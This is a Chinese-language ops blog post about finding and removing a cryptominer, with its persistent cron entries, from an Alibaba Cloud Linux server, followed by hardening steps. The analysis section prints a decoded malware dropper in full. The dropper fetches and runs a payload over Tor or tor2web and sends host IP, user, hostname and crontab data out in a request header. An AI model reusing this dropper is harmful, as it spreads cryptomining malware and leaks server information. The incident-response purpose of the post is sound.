《Linux运维实战:阿里云上查杀挖矿病毒故障总结》



一、背景介绍

说明:钉钉收到磁盘告警信息,打算登录服务器清理磁盘空间,但是发现通过xshell无法登录,也尝试了阿里云的VNC,也不行。经阿里云工程师排查oom内存不足导致,需要重启服务器,重启服务器后我们扩充了内存,从原来的32G变成64G,按道理内存应该是够了,但是过一段时间看监控发现内存和cpu被占用得很厉害。使用top发现,有个比较奇怪的进程,进程id为14587,对比了一下其他几台服务器都没有这个进程,根据以往经验应该是服务器中病毒了。

如下图所示:
在这里插入图片描述


二、故障分析

1、根据进程id,查看进程名,经了解这个进程不是我们业务系统服务的进程id,于是杀掉进程(kill -9 进程id)
2、根据以往经验,像这种未知进程名一般都是有配置定时任务,于是查看定时任务列表(crontab -l),果不其然发现了一个未知定时任务,如下所示:

[root@host-10-10-18-111 ~]# crontab -l
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &

3、先不要盲目删除定时任务和未知文件,先看下文件.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh内容,如下图所示:
在这里插入图片描述
4、看到上面内容相信大部分都不懂是什么,看到文件内容末尾,这是一个通过base64编码的文件,通过Base64 在线编码解码器对上面文件进行解码,解码后内容如下:

wymVFl04WHFDQfJFg81fvBhVSxhWn4HB
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "wacpnnso4ottxlyvjp2adaieaivxx2saxoymednidp3zyfoqfc5jpqad")

sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

5、解码后文件出现了一些域名,如下所示:

checkip.amazonaws.com doh.this.web.id doh.post-factum.tk 
dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn 
dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org 
resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch

三、故障处理

说明:根据上述分析,处理步骤如下:

1、杀掉进程

[root@host-10-10-18-111 ~]# kill -9 进程id

2、删除定时任务

# 1、crontab -e
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &

3、删除未知文件

[root@host-10-10-18-111 ~]# rm -f /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh

注意:一般按照上面操作应该是没有什么问题,甚至我连cron服务都关闭了,但是很奇怪过了一个小时定时任务又被创建,未知进程又被拉起了,无奈只能继续排查。根据经验感觉可能还有一些定时任务。

4、进入/etc/cron.d目录,又发现一个未知定时任务,继续上面的操作,杀进程、删除定时任务、未知文件

[root@host-10-10-18-111 ~]# ll /etc/cron.d/                                    
0systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n                                                             

# 2、查看未知文件内容
[root@host-10-10-18-111 ~]# cat /etc/cron.d/0systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n 
21 * * * * root /opt/systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n.sh > /dev/null 2>&1 &

# 3、杀掉进程
[root@host-10-10-18-111 ~]# kill -9 进程id

# 4、删除定时任务
[root@host-10-10-18-111 ~]# crontab -e
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &
[root@host-10-10-18-111 ~]# rm -f /etc/cron.d/0systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n
[root@host-10-10-18-111 ~]# rm -f /opt/systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n.sh

注意:按照上面的处理方法,按道理应该是没有问题了,但是过一段时间后又出现了,未知进程又被拉起。感觉可能是自己遗漏了定时任务的某个配置文件,仔细排查了cron服务的所有配置文件,发现/etc/crontab配置文件有未知内容,如下所示:

5、查看/etc/crontab配置文件,发现未知内容,删除其内容,删除后观察一段时间
在这里插入图片描述
注意:上述操作完之后观察一段时间,发现定时任务又存在了,啥也不说了,真的很神奇!按照上面的操作又来了一遍,进入/opt目录时突然发现了一个我不熟悉的脚本。

[root@host-10-10-18-111 ~]# crontab -l
44 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &

6、进入/opt目录时发现了一个未知脚本,查看脚本内容如下,然后删除文件,发现删除不了,应该是加了i权限,删除i权限后,将文件成功删除。
在这里插入图片描述
删除unixdb.sh文件操作如下:

[root@host-10-10-18-111 ~]# rm -f unixdb.sh 
rm: 无法删除"unixdb.sh": 不允许的操作
[root@host-10-10-18-111 ~]# lsattr unixdb.sh 
----i--------e-- unixdb.sh
[root@host-10-10-18-111 ~]# chattr -i unixdb.sh 
[root@host-10-10-18-111 ~]# rm -f unixdb.sh 

注意:以为这一次能够杀掉病毒,但是又一次陷入神坑,一段时间后,进程又被拉起。我觉得需要冷静,思考了一段时间感觉还有一个进程负责将病毒写入定时任务,然后通过定时任务自动拉起挖矿病毒程序。所以有必要对所有进程进行检测,找到那个进程。

6、检查所有进程

说明:仔细核对了进程,终于找到了一个奇怪的进程,我们的业务系统服务没有用到这个进程,跟之前的那个定时任务进程类似,都是一组有大小写英文字母,跟其他几台服务器的进程也仔细做了对比,感觉很可能是这个进程,于是杀掉进程(kill -9 5367),过一段时间在观察一下。
在这里插入图片描述
24小时后,发现挖矿进程并没有被拉起,验证了我上述的判断是对的。经过这一次问题,我觉得有必要对安全问题进行重视,同时加强云主机的安全保护措施。


三、故障总结

针对此次问题,我觉得有必要针对服务器做一些整改
1、限制ssh连接限制,只允许公司公网ip访问服务器
2、升级openssh至8.6版本
3、修改root用户名称,禁止root用户直接登录,创建一普通用户赋予sudo权限
4、修改root权限用户密码
5、限制其它互联网服务端口,除开业务端口,其它数据库端口做白名单限制
6、对上面脚本中出现得域名进行封禁
7、临时处理后计划这台服务器上的业务系统做迁移,同时后期计划释放这台服务器


总结:整理不易,如果对你有帮助,可否点赞关注一下?

更多详细内容请参考:Linux运维实战总结

  • 7
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

东城绝神

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值